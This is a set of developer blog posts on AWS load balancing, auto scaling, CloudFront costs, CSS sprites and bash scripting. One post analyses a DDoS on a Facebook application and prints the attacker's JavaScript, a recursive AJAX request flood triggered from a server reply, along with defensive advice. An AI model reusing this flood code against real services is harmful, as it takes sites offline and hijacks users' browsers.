Ran into a problem this morning with Amazon’s Elastic Load Balancer. If you want to have multiple availability zones, say us-east-1a and us-east-1b, behind your elastic load balancer, be sure to have at least one healthy instance running in each. What happens otherwise is inbound requests will “dead end” and serve up 503 errors. This is because the DNS actually resolves to each zone regardless of the health checks and before passing requests to the actual load balancer for that zone. In otherwords, the zones are unaware of the status of the machines in different zones.

From Paul@AWS on the Amazon Discussion Forum:

The output from your describe call shows that you have two zones enabled:

View Code XML

<AvailabilityZones> <member>us-east-1b</member> <member>us-east-1a</member> </AvailabilityZones>

but you only have instances behind one of them. Whenever your client happens to get directed to the empty zone (which happens at DNS resolution time), it will have a dead-end.

The solution is to either add instances in the additional zone or disable that extra zone.

You can read the full thread that tipped me off this morning to the issue I was experiencing.

Some time ago I had the good fortune to work with some developers on a Facebook application that was underperforming. Through a very robust investigation of the application, it was discovered that a large number of invalid requests were being passed to the server. It was the victim of a Distributed Denial of Service attack utilizing Facebook platform and a popular application to bring down the application.

What Can a Developer Do?

1. Before instantiating ANY code, check your signatures! There are a number of ways to do this, but for starters, check the $_REQUEST['fb_sig_app_id'] and be sure it’s yours!
2. Spot check your log files for any large number of 404 requests to images or other files that are not valid. Google Analytics only reports on what’s working.
3. Log invalid requests and errors. Keep the entire signature as it provides you the evidence needed to report the offending application.
4. You may be able to make a legal case against the perpetuator of the attack if you have sufficient evidence. I am not a lawyer, but you can find one who specializes in technology crimes and talk to them.
5. Contact Facebook, while DDoS is not explicitly prohibited in the Developer Terms of Service it is illegal in many states and compliance with State Laws is explicitly stated.

How Can I Keep My Server Running?

1. Apply #1 above on all your pages. Don’t let the attacker make your machine work any harder than it has to. The second code listing below has a quick and dirty way to stop it in it’s tracks.
2. Any 404 errors that are abnormal should be made into logging pages so you can grab the errors and log them. You can do this with .htaccess or a custom 404 page. Whichever suits your particular situation.
3. Save Bandwidth However Possible – if the request is attacking valid image files, rename the real files and update your code, then pass very small bits of data back to the requesters of the invalid files. Create 0 byte files to replace them using “touch file.png” so you minimize the outbound data.
4. Change servers. Less than ideal, but contact your hosting company and move your app to a different IP and or domain name ASAP.

How Did It Work?

The code from this attack is provided below and was obtained by viewing the source of the application. It essentially creates an endless loop of AJAX requests. The ajax.php file need only return JSON encoded data including a value for “cremate” and “cremate_threads” along with the expected payload to begin the attack which then calls the working code at line 16 in the code below. Once invoked, the client computer continues to expand to it’s internal limits taking over the resources of not only the target’s computer, but potentially the user’s browser as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function someValidAjaxCall(request_data) {
	var ajax = new Ajax();
	ajax.responseType = Ajax.JSON;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		//
		// Do what the application should appear to do for the user
		//
 
		// Start the DDoS attack
		if (data.cremate && data.cremate_threads) {
			cremate(data.cremate, data.cremate_threads);
		}
	}
	ajax.post('http://255.255.255.255/ajax.php', request_data);
	return false;
}
 
function cremate(url, cremate_threads) {
	for (i=0; i<cremate_threads; i++) {
		sub_cremate(url + i);
	}
}
 
function sub_cremate(url) {
	ajax = new Ajax();
	ajax.responseType = Ajax.RAW;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		sub_cremate(url);
	}
	ajax.onerror = function() {
		sub_cremate(url);
	}
	ajax.post(url);
}

// Will stop requests from other apps
if($_REQUEST['fb_sig_app_id'] != '1234567890'){ die('Error'); }

During an exploration of CloudFront it was noted that requests were the lionshare of the costs for one application. How much savings could be realized by merging all icon files into one and serving them using positioning in CSS? Quite a bit actually.

First, I created an icon file that is 128 pixels square to hold my 16 pixel square icons. Each of the icons individually averages out to ~700 bytes. After adding all the images, the total filesize for this new icon file was ~21.5K. This already equates to a significant space savings on any page that loads all 64 icons which would translate to ~44.8K. More space could be saved had I used a gif, but I wanted retain the alpha – personal preference. Next I created the necessary CSS to position these images using intelligent names like s-icon-heart to replace images/heart.png, this makes the code very readable. The CSS positioning code for my icon file to support all 64 icons is ~3.6K which needs to be added to the stylesheet sitewide.

Adding the icon file and the CSS together yields a total savings of ~19.7K for pages that use all icons in the file. While not every page uses every icon, stylesheets and images are usually cached by the browser so future requests for these assets won’t incur a trip to the server. Furthermore we’ve eliminated up to 63 http requests which, although individually are quick, cumulatively they add up to serious time for the browser!

You can see how I made my icon file by dropping the icons into a grid in Photoshop. I then save this out as a large PNG. Be aware that older versions of IE do not support PNG transparency so you might get some odd behaviors there. As always test in the browsers you wish to support.

I then add the necessary positioning elements into my CSS file for each of the icons. Getting the names and positions was probably the most tedious part of the process.

div.icon { width:16px; height:16px; }
.icon { background-image: url('images/icons.png'); }
.icon-star-bronze-red { background-position: 0 0; }
.icon-star-bronze-green { background-position: -16px 0; }
.icon-star-bronze-blue { background-position: -32px 0; }
.icon-star-gold-red { background-position: -48px 0; }
.icon-star-gold-green { background-position: -64px 0; }
.icon-star-gold-blue { background-position: -80px 0; }
/* ... 58 more definitions */

There are a number of ways to then use this in your code. You can point towards a clear.gif, if you’re already using one for positioning or layout. You can apply it as the background image on an element. Get creative.

<!-- using an image -->
<img src="images/clear.gif" width="16" height="16" class="icon icon-star-gold-red" />
<!-- using a div -->
<div class="icon icon-star-gold-red"></div>

If you are looking for a kick ass icon library, look no further than the FAMFAMFAM Silk Icons which are available for free under a creative commons license.

Getting running on Amazon’s Elastic Load Balancer is easy. Once your up, you’ll also need to monitor it and do some basic maintenance of your nodes. These tips should make the most of the Elastic Load Balancer and show you some simple ways to get the monitoring data you’ll need.

1. Configure Health Checks

If an instance is off or not responding, you will want the load balancer to stop sending requests to those instances ASAP. The following code will setup a check that polls your server every 5 seconds. Be warned, this functionality is not enabled by default!

elb-configure-healthcheck  ApplicationServers  --target "TCP:80" --interval 5 --timeout 3 --unhealthy-threshold 2 --healthy-threshold 2

Once you have this setup, the load balancer will check that port 80 responds to http requests and will stop sending requests to any instances if it sees a problem. You can then check in on the status of your instances with the following command:

elb-describe-instance-health ApplicationServers
INSTANCE-ID  i-12345678  InService
INSTANCE-ID  i-23456789  InService

2. Clear Out Old Instances

If you are using auto scaling to automatically add the instances to the load balancer, you can probably skip this one. But if you are like me and add instances to the load balancer only after completing the startup scripts, you’ll need to periodically clean out any invalid instances. After running with elastic load balancer for a few weeks, I found I had extra instances registered with the load balancer that were no longer running. When an instance that registers itself is shut down by auto scaling, the load balancer isn’t updated. This is VERY important, because after a week, the instance id will likely have cycled through to someone else!

elb-deregister-instances-from-lb ApplicationServers --instances i-23456789,i-34567890

3. Check Monitoring Values

You already know about describing the instance health from when you setup the health check before. Now checkout the cloud watch monitoring tools. If you’re not using auto scaling, these values in combination with your own internal metrics will help determine when to add capacity. Spend some time with your log files and these metrics.

mon-list-metrics | grep "ApplicationServers"
 
HealthyHostCount    AWS/ELB  {LoadBalancerName=ApplicationServers}
Latency             AWS/ELB  {LoadBalancerName=ApplicationServers}
RequestCount        AWS/ELB  {LoadBalancerName=ApplicationServers}
UnHealthyHostCount  AWS/ELB  {LoadBalancerName=ApplicationServers}
 
mon-get-stats HealthyHostCount --statistics Average,Minimum,Maximum --dimensions "LoadBalancerName=ApplicationServers" --namespace "AWS/ELB" --period 600 --headers
 
Time                 Samples  Average  Minimum  Maximum  Unit
2009-07-16 03:47:00  98.0     2        2.0      2.0      Count
2009-07-16 03:57:00  103.0    2        2.0      2.0      Count
2009-07-16 04:07:00  98.0     2        2.0      2.0      Count
2009-07-16 04:17:00  98.0     2        2.0      2.0      Count
2009-07-16 04:27:00  99.0     2        2.0      2.0      Count
2009-07-16 04:37:00  98.0     2        2.0      2.0      Count

Storing application data on the OpenSocial host is a great way to offload some unnecessary database and application server load. Why request a preference such as a skin for a user profile from your servers if we can just let the container handle it? MySpace allows for ~1K of data storage per user per application. However, there is a bug with the method newFetchPersonAppDataRequest when added as the only item of a DataRequest. Calling send on the request doesn’t actually do anything! It returns a DataResponse object with no data. As a work around, grab some other information to ensure that the request actually is sent to the container’s server. I used the owner data in this example.

// The function to load the application data
function getAppData(){
	var req = opensocial.newDataRequest();
	var owner = opensocial.newIdSpec({"userId":"OWNER"});
	req.add(req.newFetchPersonRequest(owner), "owner");
	req.add(req.newFetchPersonAppDataRequest(owner, "appdata"), "owner_appdata");
	req.send(getAppDataCallback);
	return;
}
 
// The callback for getAppData()
function getAppDataCallback(d){
	var owner = d.get("owner"); // if you need it, use it!
	var data = d.get("owner_appdata");
	if(data.hadError()){
		// handle the error appropriately
		return;
	}
	// do whatever your program needs to do with the data
}

Earlier this year, Amazon launched a suite of new services that replaced the need to work with a product like Scalr and RightScale for building scaleable applications on the EC2 platform. Those tools help you allocate more resources according to current application load. The key benefit of using a cloud based service is that you only pay for what you use. However, without one of the afore mentioned providers, and their additional costs, you were in a lurch designing a system that could detect the current load of your infrastructure and respond accordingly. Amazon has now made it very simple to create infrastructure that can expand AND contract very simply, of course only paying for what you use.

The Tools

Elastic Load Balancer

Solutions for load balancing were as varied as round robin selection DNS to running a load balancer on an instance (I’d been using Nginx on an m1.small instance $0.10/hr). Nginx worked well, with an assigned an elastic ip (static ip) that could move from machine to machine as needed and special scripts to manage the pool of servers (or do it manually). It worked, but was by no means efficient or even easy to maintain. Furthermore, there is a single point of failure with the Nginx host. Being proactive, it was possible to create a monitoring system to monitor Nginx, and then bring up and configure a new server before re-directing the elastic ip to the new host should it fail. It was a hack and certainly not elegant!

Enter elastic load balancing. You create an elastic load balancer and then add the instances to the load balancer. That’s it! Amazon handles the redundancy and the best part is that it’s only $0.025/hr that’s a savings of $54/month over running a load balancer instance. There is of course a drawback. With Nginx and other load balancers, you have the option to do intelligent load balancing. Advanced functionality like sticky sessions and response rewriting isn’t available for the Amazon solution. However, with a well designed application, this should be irrelevant.

CloudWatch

Monitoring the cloud is VERY important. Amazon has issues with all sorts of things from EBS stores going offline to instances being completely unavailable. Before CloudWatch, I used a mix of systems including SNMP monitoring and 3rd party service Pingdom to keep tabs on my instances. The CloudWatch product doesn’t replace these, but rather supplements the data I gather from them. CloudWatch is an additional $0.015 per server above the default instance cost, it takes about 2 minutes to come online and the statistics are available through the API almost immediately after that. CloudWatch provides access to monitored instance’s CPU utilization, disk read bytes, disk read operations, disk write bytes, disk write operations, network in, and network out. I find for my needs, CPU utilization is an excellent indicator of server performance and I use that to determine when to add a new server or take one away.

You can gather these statistics grouped by AMI, Instance Id, instance type and even AutoScaling group. If you can reliably detect your need to add an additional server based on these statistics, you’ll be able to take advantage of Auto Scaling; more on that in a minute. If not, it’s very simple to write a script that determines if it’s time to start a new server up to help with processing and register it with the load balancer. Oh, and did I mention for the load balancer you also get access to healthy host count, latency, request count, and unhealthy host count? These could be helpful metrics for rolling your own scaling scripts or may be sufficient for knowing when you need an additional server.

Auto Scaling

This is the glue that brings it all together. Auto Scaling monitors your statistics from CloudWatch and starts new instances when needed then turns them back off when no longer needed. Currently this is all offered for FREE if you are using CloudWatch! The setup is simple once you go through it the first time, but took me a couple of tries to get it right. So in my case, I monitor my application server pool and when I see that it’s stressed, I add another server. Because of the way it’s configured, I have some safe guards in place that keep me from starting thousands of instances too.

How To Do It

Background

This assumes you’ve installed all the Amazon CLI tools for Elastic Load Balancing, Auto Scaling and CloudWatch, your fairly comfortable at the command line and know how to make your own AMI. Now, you’ll need to determine what the best way for you to publish your code to a new server is. Some possible solutions to this are rsync, subversion, nfs mount, s3 or a mix of technologies. Some folks just bundle up the code in their AMI (works well if your codebase is static). Regardless, that’s a bit beyond the scope of this post. After you create your solution, you’ll create a server image (AMI) that can boot up and correctly get a copy of the code you’re running. If you already have that, you can of course just use that one. Once you create an instance that can be turned on and handle traffic…

The Process

1. Create the Load Balancer
2. Create the Auto Scale Launch Config
3. Create the Auto Scale Group
4. Create the Auto Scale Trigger(s)

Create the Load Balancer

The DNS-NAME that is returned is the point you’ll direct all traffic to. Add this as a CNAME in your DNS for your domain.

elb-create-lb ApplicationServer --availability-zones us-east-1a --listener "protocol=http,lb-port=80,instance-port=80"
DNS-NAME ApplicationServer-12345678.us-east-1.elb.amazonaws.com

Create the Auto Scale Launch Config

The AMI will of course be your AMI that knows how to come online and get a fresh copy of your code and you may be using different instance types. Definitely take a look over the documentation to ensure you are doing it all right

as-create-launch-config AppServerConfig --image-id ami-12345678 --instance-type m1.small --group default

Create the Auto Scale Group

I use a nice long cooldown period here (10 minutes) so that the servers don’t come online or go offline too quickly. If you expect an occasional slashdotting, you might want this to be shorter. This also provides some a boundry. There will always be at least 1 server and no more than 3. This also tells auto scaling that you want the new instance to join the load balancer.

as-create-auto-scaling-group AppServerGroup --launch-configuration AppServerConfig --availability-zones us-east-1a --min-size 1 --max-size 3 --cooldown 600 --load-balancers ApplicationServer

Create the Auto Scale Trigger(s)

You will likely spend a good bit of time working on this portion. What this basically does is if the average CPU utilization for my servers is above 70% for 10 minutes, bring a new server online. Then likewise, if it falls below 30% for 10 minutes, turn one off. The Auto Scaling Group we created ensures there is always at least 1 server online.

as-create-or-update-trigger AppServerTrigger --auto-scaling-group AppServerGroup --namespace "AWS/EC2" --measure CPUUtilization --statistic Average --dimensions "AutoScalingGroupName=AppServerGroup" --period 60 --lower-threshold 30 --upper-threshold 70 --lower-breach-increment=-1 --upper-breach-increment 1 --breach-duration 600

That is all there is to it! You now have an system that can grow your application servers up on demand! I hope this helps you build out an infrastructure that lets you scale up your next web application. You might want to look over the command line tool documentation before getting started.

For those unfamiliar with Unix and Linux environments, bash is the command line shell that is standard on many distributions. These examples grew out of challenges attempting to automate EC2 processes. These basic principles of course can be applied more generally as needed. My goal is to simply provide the options I need most often in a single place. As I continue to automate routine tasks, I might just be able to replace myself, or others, with a series of scripts!

The Gaps

• Loading data from a URL
• Loading data from a file
• Loading data from the user
• Loading data from the user
• Script Configuration

The Solutions

Loading data from a URL

With Amazon EC2 many startup values are available via a HTTP request to the internal address instance-data.ec2.internal. If you want to know more about these values, the Developer Guide is a good resource.

#!/bin/bash
MY_INSTANCE_ID=`exec wget -q -O - http://instance-data.ec2.internal/latest/meta-data/instance-id`
echo $MY_INSTANCE_ID

This script grabs the instance id and puts it into a variable and prints it back out by using the result of a remote execution to wget with the quiet (-q) and the output file set as standard output (-O -), the second dash is what sends the data to standard output so don’t forget it! Now anywhere in our script we want the instance id for string comparison, logging or whatever, we have it!

Loading data from a file

What if the data we want to load is in a file on the disk? This method is not good for processing giant apache access logs, but with smaller text files, it will work just fine.

#!/bin/bash
FILE_DATA=( $( /bin/cat file_data.txt ) )
for I in $(/usr/bin/seq 0 $((${#FILE_DATA[@]} - 1)))
	do
		echo $I $FILE_DATA[$i]
	done

What’s going on? The code is being loaded into an array, in bash, called FILE_DATA. It then loops over each element in the array using a for loop. Finally within the loop, we simply print the current index and then output the line we loaded. This would be roughly equivalent to running cat -n file_data.txt from the shell directly, but obviously gives us the flexibility to do further processing with the string contained in the variable.

Loading data from the user

Obviously this is not ideal for creating a process that runs on a cron job. However, if a script is being run by a user, they often need to tweak something about the way it runs that often can’t be detected automatically. In this case, you’ll want the user to key the data directly into your script.

#!/bin/bash
read -p "Enter Something: " VARIABLE
echo $VARIABLE

This example uses read with the optional prompt (-p) flag. This causes the text in the quotes to be displayed on the users standard output or terminal window.

Loading data from the command line

A step further is to let the user pass in data on the command line at run time. This of course can also be automated if needed. The following example leverages getopts to parse the parameters that were called in.

#!/bin/bash
OPT_A=0
OPT_B='Undefined'
while getopts ":ab:" OPTION
do
	case $OPTION in
	a ) OPT_A=1 ;;
	b ) OPT_B=$OPTARG ;;
	esac
done
shift $(($OPTIND - 1))
echo $OPT_A $OPT_B

The example script takes 2 different parameters a flag “-a” and a flag “-b” which expect data. In the example, default values are provided for each value, this gives the effect of making all flags optional. Using the flag -a would likely toggle a specific behavior within your script, perhaps loading a specific configuration file instead of the default one. If you wanted to collect data in each field, you simply add a colon “:” after each flag, ‘a’ in this example, following the getopts command. You would then update the case statement to reflect your expectation of data being present in $OPTARG. See the modified script below for clarification.

#!/bin/bash
OPT_A=0
OPT_B='Undefined'
while getopts ":a:b:" OPTION
do
	case $OPTION in
	a ) OPT_A=$OPTARG ;;
	b ) OPT_B=$OPTARG ;;
	esac
done
shift $(($OPTIND - 1))
echo $OPT_A $OPT_B

But wait… there’s more!

There’s also a simple way to pass data in that just stores the input from the command line into the $1, $2, $3, $4 and so on input variables.

#!/bin/bash
echo $2 $1

The script above when run as “./test_script hello world” will output “world hello”. This method can be handy for scripting quick tasks that you often use a series of parameters for. For example, adding the flags “-la” to “ls” as demonstrated below.

#!/bin/bash
ls -la $1

Script Configuration

So now that we can get different bits of data from all these different sources, what if all my scripts leverage the same data? Can’t I just have it as a single configuration file that I edit once? YES! This next example does just that. While it doesn’t technically load data into a variable, it does allow you to encapsulate your code, including a file full of variable assignments, into logical chunks. In my case, I was looking to avoid editing multiple scripts when configuration changes were needed.

First I created my configuration script, my_script.cfg, in the same directory I am running my example script below.

# Comments are allowed
OPT_1='Ubuntu'
OPT_2='Linux'
OPT_3='64bit'

Now the script that uses the configuration file above.

#!/bin/bash
OPT_1='RedHat'
OPT_2='Linux'
OPT_3='i386'
if [ -f my_script.cfg ];then 
	. my_script.cfg
fi
echo $OPT_1 $OPT_2 $OPT_3

Dissecting the script you’ll see that I first set some default values. Next the code checks for the existence of the configuration file. If found, it is included. It’s important to note that this is included because it actually allows you to run code within the configuration file. An EC2 instance might, for example, place all of the calls to instance-data.ec2.internal for metadata into a configuration file that’s simply included on scripts that use that information.

That’s it! Hope you find this resource helpful!

And for anyone looking to put those around you on alert, buy the t-shirt from Think Geek.

A few weeks ago I switched Sexii to use Amazon’s CloudFront content delivery network (CDN) instead of serving images through my own Apache server. The decision came after analysis of watching my EC2 instance get slammed through a couple of high volume peaks. I crunched my logs and found that over 80% of the traffic I had was serving images! Adding a new instance for handling images exclusively would certainly solve the problem, but at ~$75/month for a new instance, I figured there was probably a better way. My ultimate goal here to increase the potential work my infrastructure can do per instance hour, not necessarily save costs, but I don’t want to spend more than I need to.

Setting Up

Setting up CloudFront is like any AWS service, agree to the terms and costs and get going. There’s a full API for interacting with it, but rather than learn another new API, I opted for the point and click features of S3 Organizer. If you’re unfamiliar with the product, it gives you Finder or Explorer like functionality for managing the data you store on the Amazon S3 platform.

I started by creating a unique bucket in S3 and uploading my images. Now with my content happily hosted on S3, I actually had a CDN of sorts. I could have set the access control list (ACL) to allow anonymous reads for that bucket then updated my code accordingly and stopped there. S3 would handle the serving of the content and my server is free to do other tasks. Some popular websites are already doing this; for example Twitter serves your profile picture from S3. This actually accomplishes my primary goal, reducing the stress on my server. But, being the curious geek that I am, I wanted to try out the full blown CDN and with the pay per use pricing model, it was low risk.

With the bucket setup, S3 Fox was able to create the distribution with a couple of clicks (literally). What surprised me was how long it actually took (10 minutes) for the distribution to come online. Since my image URL’s are assembled on the fly in code, I updated my configuration file to reflect the new source and I was live. I did run into one problem, the URL’s for images had to be syntactically correct and I was bit by this. By default, Apache is more forgiving and just ignores the double forward slash.

Works:
<img src="http://a5e3px8iw78h4.cloudfront.net/images/logo.png" />
Doesn't:
<img src="http://a5e3px8iw78h4.cloudfront.net/images//logo.png" />

A nice feature, that I didn’t use, is the ability to map your own domain name to the delivery network; effectively masking a name like http://a5e3px8iw78h4.cloudfront.net with http://mycdn.example.com if you want. This wasn’t critical for me and so I skipped it, besides Amazon’s DNS servers are likely much more robust than mine.

Costs

Before dissecting the costs, its important to understand the content I moved. Sexii doesn’t actually have many images. It relies heavily on CSS and the layout as the design. It was done this way to eliminate hosting costs early on. MySpace applications that have home and profile surfaces incur a very high traffic volume with a low return on the investment. The assets hosted by the application, are a set of small icons used in a feature that facilitates flirting. The feature shows a grid of around 30 icons that the user can attach to a flirt. Each icon is a separate image file and all of these icons are shown at the same time resulting in about 30 requests for <1k images. See below for the consequences of this design mistake.

Costs are cumulative across the AWS platform and so are a bit difficult to break down on a per application basis, but I'm going to try to give you an overview of what the change to CloudFront cost me and where I can potentially save more money. I've skipped over the costs of uploading and hosting on S3 as they're insignificant for my data and usage pattern, less than $0.08/month.

During the roughly 4 1/2 day window analyised, the cost for CloudFront was $6.44, roughly $1.46/day. I served over 5.4 million images or 14.3 images per second to the 4 regions. If I had built a dedicated server and configured my site to use that for all images, it would have cost me around $11.44 including bandwidth for the same time period. The largest portion of the cost for me was the overall number of requests. By rewriting the icon code to use CSS positioning, I expect to reduce the request count more than 90% (-$4.95 or -$1.12/day). The bandwidth number should stay about the same because the larger icon file transfers the same amount of information as the 30 independent requests.

For those of you who are curious, the Japanese traffic was the smallest portion at 0.11% and Hong Kong was 0.16%.

Where Next?

Move more to CloudFront!

First step, after reducing the number of requests, is to move externally loaded CSS and JavaScript files. These are no-brainers (and are even suggested on the CloudFront site). Taking it a bit further, I’m considering moving static advertising iframe files, common in Social Network based applications. I can continue to maintaing my generic demographic targeting by creating a series of files that include the appropriate demographic distinctions. skyscraper_m_18.html, skyscraper_f_18.html, skyscraper_m_25.html, skyscraper_f_25.html and so on. I’ll be looking to see if this can be better handled through S3 alone to keep the costs of these low value CPM/CPC ads lower. MySpace hosts the actual application code on their servers, but sites like Hi5 and Orkut do not. I would strongly suggest moving your application.xml files to a CDN and only run the ajax response files on your application servers.

Where would it all end?
It’s conceivable you could host an entire brochureware site on CloudFront but that may be taking it too far.

Conclusion

I’m pleased with CloudFront. I’ve definitely increased the capacity of the application server which is especially useful during peak times. It also exposed a design weakness, a sad but important lesson to learn. This is a GREAT way for companies to get the speed benefits of a CDN and increase the processing capacity of an application server.